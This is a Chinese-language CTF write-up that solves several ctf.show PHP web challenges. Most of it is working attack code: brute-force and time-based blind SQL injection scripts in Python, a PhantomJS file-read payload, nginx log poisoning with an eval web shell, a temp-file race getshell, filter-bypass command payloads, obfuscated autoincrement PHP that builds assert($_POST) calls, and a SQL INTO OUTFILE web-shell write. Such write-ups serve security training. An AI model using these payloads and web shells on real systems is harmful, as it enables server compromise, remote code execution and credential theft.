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提示:0006464640064064646464006406464064640064006400000000000
- function haveFun($_f_g) {
- $_g_r = 32;
- $_m_u = md5($_f_g);
- $_h_p = strtoupper($_m_u);
- for ($i = 0; $i < $_g_r; $i++) {
- $_i = substr($_h_p, $i, 1);
- $_i = ord($_i);
- print_r($_i & 0xC0);
- }
- die;
- }
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
将$flag_md5与我们传入的secret进行比较,根据返回结果,前面3位都是0,即前面3个都是数字,在由php是弱语言,这里进行的是弱比较,换句话说,secret在100~999之间。
- import requests
-
- url = 'https://86b8442f-7f60-4060-849b-b239c3234857.challenge.ctf.show/?give_me_shell'
- i = 100
- while True:
- cookie = {
- 'PHPSESSID': 'c2jdlheiu8udsu06gfgqruvf0v',
- 'secret': '{"secret":' + str(i) + '}'
- }
- r = requests.get(url, cookies=cookie)
- if '0006464640064064' not in r.text:
- print(r.text)
- print(i)
- break
- i += 1
secret=115
here is your webshell: w3b5HeLLlll123.php
得到一个文件,访问:
- <?php
- error_reporting(0);
- session_start();
-
-
- //there are some secret waf that you will never know, fuzz me if you can
- require "hidden_filter.php";
-
-
- if (!$_SESSION['login'])
- die('<script>location.href=\'./index.php\'</script>');
-
-
- if (!isset($_GET['code'])) {
- show_source(__FILE__);
- exit();
- } else {
- $code = $_GET['code'];
- if (!preg_match($secret_waf, $code)) {
- //清空session 从头再来
- eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
- } else die('hacker');
- }
-
-
- /*
- * When you feel that you are lost, do not give up, fight and move on.
- * Being a hacker is not easy, it requires effort and sacrifice.
- * But remember … we are legion!
- * ————Deep CTF 2020
- */
测了部分fuzz(不全,参考):
- 非法字符:['flag', 'system', 'exec', '`', 'filter', 'include', 'include_once', 'shell_exec', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'highlight_file', 'phpinfo', 'highlight_file', '^', '$', '*', '+', '\\', '|', '(', ')', ';']
- 合法字符:['passthru', 'eval', 'php', 'require', 'require_once', 'proc_open', 'popen', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'highlight', '.', '?', '{', '}', '[', ']', '<', '>', '!', '=']
<?=urlencode(~"/flag.php");
?code=]=1?><?=require_once~%D0%99%93%9E%98?>
CVE-2019-17221、PhantomJS任意文件读取
将代码放入自己的服务器上,然后用php或者python开始一个web服务,让靶机访问即可。
- <html>
- <head>
- <body>
- <script>
- x=new XMLHttpRequest;
- x.onload=function(){
- document.write(this.responseText)
- };
- x.open("GET","file:///flag");
- x.send();
- </script>
- </body>
- </head>
- </html>
通过目录扫描,发现index.php.bak ,下载:
-
- visit all_info_u_want.php and you will get all information you want
-
- = =Thinking that it may be difficult, i decided to show you the source code:
-
-
- <?php
- error_reporting(0);
-
- //give you all information you want
- if (isset($_GET['all_info_i_want'])) {
- phpinfo();
- }
-
- if (isset($_GET['file'])) {
- $file = "/var/www/html/" . $_GET['file'];
- //really baby include
- include($file);
- }
-
- ?>
-
-
-
- really really really baby challenge right?
然后访问:
all_info_u_want.php?all_info_i_want
open_basedir没有设置,换句话,可以进行目录穿越,访问日志文件:
?file=../../../../..//var/log/nginx/access.log
在User Agent中包含我们的恶意代码。
<?php system('ls /');?>
发现flag,但访问后flag不对。
那么我们对,换一句话木马,然后对文件内容进行过滤,找出文件中包含ctfshow{的内容:
- User Agent:
- <?php eval($_POST[1]);?>
- post:
- 1=system('find /etc -name "*" | xargs grep "ctfshow{"');
xargs
: 用于将前一个命令的输出作为后一个命令的参数。
session条件竞争这里用不了,
session.upload_progress.enabled | Off |
,可通过phpinfo可以看到。
pearcmd.php也不行,爆ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini。看了配置文件发现:
register_argc_argv | Off |
?+config-create+/&file=../../../../..//usr/local/lib/php/pearcmd.php&/<?php system('ls');?>+/tmp/hello.php
通过别人的wp,发现还可以包含临时文件,phpinfo与条件竞争进行getshell。
p神文章:Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
PHP会在脚本执行结束后删掉临时文件,而 段错误方法就是让PHP执行突然中止,这样临时文件就保留了。
既然 " PHP会在 脚本执行结束后删掉临时文件 ", 不让PHP的脚本执行结束,这样不就行了嘛?,只要自身包含自身就会进入死循环中。 死循环 要么被用户打断,要么被nginx超时掉,PHP 执行没有结束,临时文件不就 得以保存了吗?
这个自己包含自己,总是进入自己哪里就是死循环了。我们访问all_info_u_want.php,然后include 又是all_info_u_want.php,然后就进入了死循环了。
index.html:
- <html>
- <form action="http://8bc2a03c-e3dc-44f2-8b28-590a00d68cb8.challenge.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data">
- <input type="file" name="filename">
- <input type="submit" value= "submit">
- </form>
- </body>
- </html>
a.php:
- <?php
- eval($_POST['cmd']);
- ?>
用自己的服务器启动一个http server,访问,将a.php作为发送即可。
php -S 0.0.0.0:7777
查看$_FLIE即可看到文件名:
最后通过访问tmp文件即可getshell。
level1:
$numPositve === $numReverse
传入类似100.001这样就可以绕。
!isPalindrome($num)
该函数的逻辑大概就是将整数与回文数进行逐位比较,只要有一位不同就返回0。我们只要在刚才的数后面加一个0即可。
- num=999.9990
- 还还可以传入num=-0.0
level2:根据php的特性,只要开头为0e即可满足条件。
- <?php
- //这里我同时开了两个跑,从1开始,逐步开始,节省时间。
- $i=1500000000;
- while(1){
- $md5="0e$i";
- $md52=md5(md5($md5));
- if($md5==$md52){
- echo $i;
- break;
- }
- if($i%1000000==0){
- echo $i."\n";
- }
- $i++;
- }
- ?>
- md5=0e1576609003
- md5=0e1138100474//另一个跑的
level3:
这里看到了过滤空格,本来想用:{ls,/}这样的方式来绕过,却不行,不知道为什么,所以还是选择用%09或者<(重定向)来绕过。
- get_flag=nl%09/flag
- get_flag=nl</flag
- get_flag=ca''t%09/flag
- get_flag=c\at%09/flag
- get_flag=rev%09/flag|rev
首先进行fuzz测试,看过滤的字符:
- 非法字符集: ['select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' ']
- 通过: ['table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ',']
1、
- import requests
- import time as t
-
- url = 'https://34dfce48-22cb-436b-93e2-98b355277507.challenge.ctf.show/index.php'
- list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
- passwd = ''
- # 没有回显,所以用时间盲注
- # select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
- # binary能够匹配大小写
- for i in range(16):
- for char in list_char:
- passwd_t = passwd + char
- payload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'
- data = {
- 'username': 'admin\\',
- 'password': payload
- }
- start = int(t.time())
- requests.post(url, data=data)
- end = int(t.time())
- if end - start >= 2:
- passwd += char
- print(passwd)
- break
2、
- import requests
-
- url = 'https://34dfce48-22cb-436b-93e2-98b355277507.challenge.ctf.show/index.php'
- list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
- passwd = ''
- # 没有回显,所以用时间盲注
- # right()函数用于从字符串的右侧返回指定数量的字符
- # select * from user where username='admin\' and password='or if((right(password,i) regexp binary "passwd_rev"),sleep(3),1)#
- for i in range(16):
- for char in list_char:
- passwd_rev = passwd + char
- payload = f"or/**/if((right(password,{i})/**/like/**/binary/**/\"{passwd_rev[::-1]}\"),sleep(2),1)#"
- data = {
- 'username': 'admin\\',
- 'password': payload
- }
- try:
- requests.post(url, data=data, timeout=1)
- except:
- passwd += char
- print(passwd[::-1])
- break
这里的regexp可以用like代替,相应时间根据你们的网络来设定。
password=ILoVeThlrtySixD
登录即可获得flag。
1、利用$_数组进行变量拼接。
- ?code=`$_[12]$_[13] /*` --> `nl /*`
- ?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]` --> `nl /flag`
- ?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1 --> 1);system("nl /flag");(1
2、php文件上传。
- POST /?code=1)?><?=`.+/???/??????[@-[]??`?> HTTP/1.1
- Host: 865eb38d-d709-4173-a025-625208c85cc3.challenge.ctf.show
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate, br
- Connection: close
- Referer: http://865eb38d-d709-4173-a025-625208c85cc3.challenge.ctf.show/
- Upgrade-Insecure-Requests: 1
- Content-Type: multipart/form-data; boundary=this_is_boundary
- Content-Length: 159
-
- --this_is_boundary
- Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
- Content-Type: text/plain
-
- #!/bin/sh
- cat /flag
- --this_is_boundary--
3、自增:
- <?php
- $_=[];
- $_=@"$_"; // $_='Array';
- $_=$_['!'=='@']; // $_=$_[0];
- $___=$_; // A
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
- $___.=$__; // S
- $___.=$__; // S
- $__=$_;
- $__++;$__++;$__++;$__++; // E
- $___.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
- $___.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
- $___.=$__;
-
- $____='_';
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
- $____.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
- $____.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
- $____.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
- $____.=$__;
-
- $_=$$____;
- $___($_[_]); // ASSERT($_POST[_]);
?code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
- post:
- _=system(cat /flag);
?num=100000000.0000000010&md5=0e1576609003&get_flag=ca\t%09flag.ph\p
第一个level由php浮点精度来绕过。第3个level还是可以用\来绕过。
- <?php
- $num=100000000.0000000010;
- $numPositve = intval($num);
- echo $num;
- var_dump($num != $numPositve);
- ?>
根据提示,我们访问robots.txt,得到,pwdreset.php,修改密码。
然后就是文件上传,但是我到这里确实不会了,文件马这些貌似都不得行。
问了群主,发了一个文件给我,内容大概就是:
实际上就是一个马。<?=`$_GET[1]`?>
C64File"');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+
把这个话写入文件,什么jpg,png什么的应该都可以的。
最后访问1.php即可:
i.php?1=cat /flag
upload.php:
- <?php
- error_reporting(0);
- if ($_FILES["file"]["error"] > 0)
- {
- die("Return Code: " . $_FILES["file"]["error"] . "<br />");
- }
- if($_FILES["file"]["size"]>10*1024){
- die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
- }
-
- if (file_exists("upload/" . $_FILES["file"]["name"]))
- {
- echo $_FILES["file"]["name"] . " already exists. ";
- }
- else
- {
- $filename = md5(md5(rand(1,10000))).".zip";
- $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
- $filepath = "upload/".$filename;
- $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
- move_uploaded_file($_FILES["file"]["tmp_name"],
- "upload/" . $filename);
- $con = mysqli_connect("localhost","root","root","ctf");
- if (!$con)
- {
- die('Could not connect: ' . mysqli_error());
- }
- if (mysqli_multi_query($con, $sql)) {
- header("location:filelist.php");
- } else {
- echo "Error: " . $sql . "<br>" . mysqli_error($con);
- }
-
- mysqli_close($con);
-
- }
-
- ?>
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